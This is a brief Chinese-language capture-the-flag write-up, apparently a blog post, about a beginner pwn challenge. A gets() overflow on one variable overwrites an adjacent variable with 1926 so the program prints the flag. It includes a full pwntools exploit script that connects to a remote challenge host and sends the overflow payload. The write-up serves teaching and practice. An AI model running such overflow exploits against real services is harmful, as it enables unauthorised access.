开始pwn了,成为pwn手是我毕生的梦想(🙏
我们简单运行了一下程序,发现就是一个很简单的输入生日和名字的功能
我们拿到ida里面简单看一波伪代码
可以看到v5是不能输入1926,但是要想拿到flag还得是1926,二者冲突了
然后发现前面还有一个v4,并且是危险函数gets,我们可以考虑通过v4覆盖v5的值,让v5的值变成1926从而绕过前面的if判断
总结思路:首先随便输入一个v5,绕过第一个if判断,然后输入v4,通过v4溢出来覆盖v5,从而达到我们的目的,让程序本身去cat flag,我们也不用搞栈溢出啥的,只是一个单纯的“变量溢出”
直接写个exp打过去就行
from pwn import *
p = remote("124.126.19.106","47436")
offset = 8 #偏移量是8
p.recvuntil("Birth?") #这个是到第一个if判断停下来
p.sendline("hhh") #我们随便打个东西进去就行
p.recvuntil("Name?")
birth = 0x786 #0x786 == 1926
payload = "A"*offset + p64(birth)
p.sendline(payload)
p.interactive()
然后就拿到了flag